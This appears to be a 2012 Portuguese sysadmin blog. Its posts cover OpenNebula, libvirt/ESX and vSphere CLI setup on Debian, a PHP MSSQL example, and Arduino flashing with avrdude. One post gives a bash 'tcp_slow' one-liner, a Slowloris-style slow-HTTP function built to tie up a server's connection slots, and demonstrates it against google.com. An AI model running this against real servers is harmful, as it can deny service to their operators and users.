|
Friday, July 06, 2012, 15:25
Posted by Administrator
Caros,Posted by Administrator
A libvirt que está empacotada no backports, e também a que está empacotada no testing, não vem com o suporte ao ESX, e portanto, por enquanto, estou utilizando a libvirt compilada a partir do source code do projeto.
apt-get install gcc make libxml2-dev libgnutls-dev libdevmapper-dev libcurl4-gnutls-dev libyajl-dev python-devel libnl-dev
Download do source
# wget http://libvirt.org/sources/libvirt-0.9.12.tar.gz
# tar xfvz libvirt-0.9.12.tar.gz
# cd libvirt-0.9.12
# ./configure --prefix=/usr/local/libvirt-0.9.12 --with-esx
# make
# make install
Testando
# virsh -c 'esx://192.168.1.1/?no_verity=1&auto_answer=1' --readonly nodeinfo
OpenNebula
Configurar as credenciais no /etc/one/vmwarerc, especificamente o username e password.
# su -l oneadmin
$ onehost list
Procurar o ID e o IP do host
/var/lib/one/remotes/im/run_probes vmware ID IP
exemplo:
/var/lib/one/remotes/im/run_probes vmware 12 192.168.1.1
Assim, o seu ambiente do opennebula, vai conseguir se entender com o ESX.
Até que consiga uma forma mais amigável de instalar, ficará esta mesmo.
referencia: http://www.gremwell.com/node/155
sds
Kl0nEz
add comment
( 24 views )
| 0 trackbacks
| permalink
| 



( 2.9 / 18 )




( 2.9 / 18 )
|
|
Tuesday, July 03, 2012, 14:42
Posted by Administrator
Caros,Posted by Administrator
Estudando um pouquinho mais sobre cloud, segue abaixo um tuto para instalar o opennebula no debian squeze, usando o backports.
Caso queiram maiores informações sobre o sujeito, segue o link:
www.opennebula.org
# echo "deb http://backports.debian.org/debian-backports squeeze-backports main" >> /etc/apt/sources.list
# apt-get install opennebula
# passwd oneadmin
# su -l oneadmin
$ echo "oneadmin:teste" > ~/.one/one_auth
$ one start
vSphere CLI Debian
(source: http://www.digitalllama.net/2011/02/vmw ... ebian.html)
# tar xfvz VMware-vSphere-Perl-SDK-4.1.0-254719.i386.tar.gz
# apt-get install libxml-libxml-perl libssl-dev perl-doc
# echo ubuntu > /etc/temp-release
# cd vmware-vsphere-cli-distrib/
# ./vmware-install.pl
# rm /etc/temp-release
Somente para ficar o registro, caso esteja utilizando o Debian testing, também será necessário instalar os pacotes abaixo:
apt-get install libcrypt-ssleay-perl libclass-methodmaker-perl libsoap-lite-perl
É isso,
sds
Kl0nEz
|
|
Friday, April 27, 2012, 16:49
Posted by Administrator
Caros,Posted by Administrator
Segue abaixo uma "brincadeira" de socket em BASH. A idéia é fazer um tcp slow, onde o conteúdo vai sendo enviado "aos poucos", mantendo assim o slot de conexão "preso".
$ function tcp_slow () { exec 3<>/dev/tcp/$1/$2 ; for i in `echo "GET[$4/[HTTP/1.1" | sed -e 's/\(.\)/\1 /g'`; do echo -n $i| tr \[ " " >&3 ; sleep $3; done ; echo -e "\n\n" >&3 ; cat <&3; }
$ tcp_slow www.google.com 80 1 http://www.google.com.brDivirtam-se, mas com responsabilidade
sds
Kl0nEz
|
|
Friday, March 30, 2012, 15:07
Posted by Administrator
Caros,Posted by Administrator
Para instalar o suporte para o php5 no Linux (Debian), bastam as seguintes ações;
# apt-get install freetds-bin php5-sybase
Preencher os campos
db alias
db_host_name_or_IP
db_port
database_server_version (look into -> http://www.freetds.org/userguide/choosi ... otocol.htm )
e adaptar o comando abaixo:
# echo "[db alias]
host = db_host_name_or_IP
port = db_port
tds version = database_server_version
" >> /etc/freetds/freetds.conf
Segue abaixo um exemplo de código em PHP para listar o resultado de uma consulta simples
<html>
<body>
<pre>
<?php
$db_conn = mssql_connect("db alias", "user", "pass")
or die( "<strong>ERROR: Connection to MYSERVER failed</strong>" );
mssql_select_db("database", $db_conn)
or die( "<strong>ERROR: Selecting database failed</strong>" );
$result = mssql_query("sql statment", $db_conn)
or die( "<strong>ERROR: Query failed</strong>" );
for ($i = 0; $i < mssql_num_rows( $result ); ++$i)
{
$line = mssql_fetch_row($result);
print( "$line[0] - $line[1]\n");
}
mssql_free_result( $result );
mssql_close( $db_conn );
?>
</pre>
</body>
</html>
é isso....
sds
Kl0nez
|
|
Thursday, February 09, 2012, 10:58
Posted by Administrator
Caros,Posted by Administrator
Comprei um "arduino" lá na DX, este carinha aqui -> http://www.dealextreme.com/p/arduino-nano-v3-0-81877
Tive bastante dificuldade para conseguir programá-lo, pois o avrdude insistia em não conseguir comunicar com o bootloader, até que depois de bater um papo com o Xandinho (http://tabalabs.com.br/) ele me deu a maravilhosa idéia de testar outras velocidades na comunicação. Daí saiu a receitinha de bolo abaixo:
1 - Conectar na porta USB
Apertar o botão de reset do arduino
2 - Verificar como a porta foi maepada pelo FTDI USB.
$ dmesg
[ 7956.136383] usb 3-1: new full speed USB device using ohci_hcd and address 3
[ 7956.314155] usb 3-1: New USB device found, idVendor=0403, idProduct=6001
[ 7956.314163] usb 3-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 7956.314170] usb 3-1: Product: FT232R USB UART
[ 7956.314175] usb 3-1: Manufacturer: FTDI
[ 7956.314178] usb 3-1: SerialNumber: A100OSXM
[ 7956.314381] usb 3-1: configuration #1 chosen from 1 choice
[ 7956.320309] ftdi_sio 3-1:1.0: FTDI USB Serial Device converter detected
[ 7956.320401] usb 3-1: Detected FT232RL
[ 7956.320407] usb 3-1: Number of endpoints 2
[ 7956.320412] usb 3-1: Endpoint 1 MaxPacketSize 64
[ 7956.320417] usb 3-1: Endpoint 2 MaxPacketSize 64
[ 7956.320421] usb 3-1: Setting MaxPacketSize 64
[ 7956.322269] usb 3-1: FTDI USB Serial Device converter now attached to ttyUSB0
Se observarem, no meu caso foi mapeado em /dev/ttyUSB0
3 - Testar usando o avrdude
$ sudo avrdude -p m328p -c avrisp -P /dev/ttyUSB0 -b 57600
avrdude: AVR device initialized and ready to accept instructions
Reading | ################################################## | 100% 0.02s
avrdude: Device signature = 0x1e950f
avrdude: safemode: Fuses OK
avrdude done. Thank you.
No MacOSX
1 - fazer download do pacote abaixo:
http://code.google.com/p/arduino/downlo ... n=2&q=
2 - Instalar o FTDIUSBSerialDriver
3 - Testar usando o avrdude
$ sudo avrdude -p m328p -c avrisp -P /dev/tty.usbserial-A100OSXM -b 57600
avrdude: AVR device initialized and ready to accept instructions
Reading | ################################################## | 100% 0.01s
avrdude: Device signature = 0x1e950f
avrdude: safemode: Fuses OK
avrdude done. Thank you.
ou
3.1 - Copiar o Arduino para o folder (pasta) Applications, caso queira usar a IDE do arduino.
sds
Kl0nez
referencias:
http://www.ladyada.net/library/arduino/bootloader.html
http://arduino.cc/en/Main/ArduinoBoardNano
|

Calendar



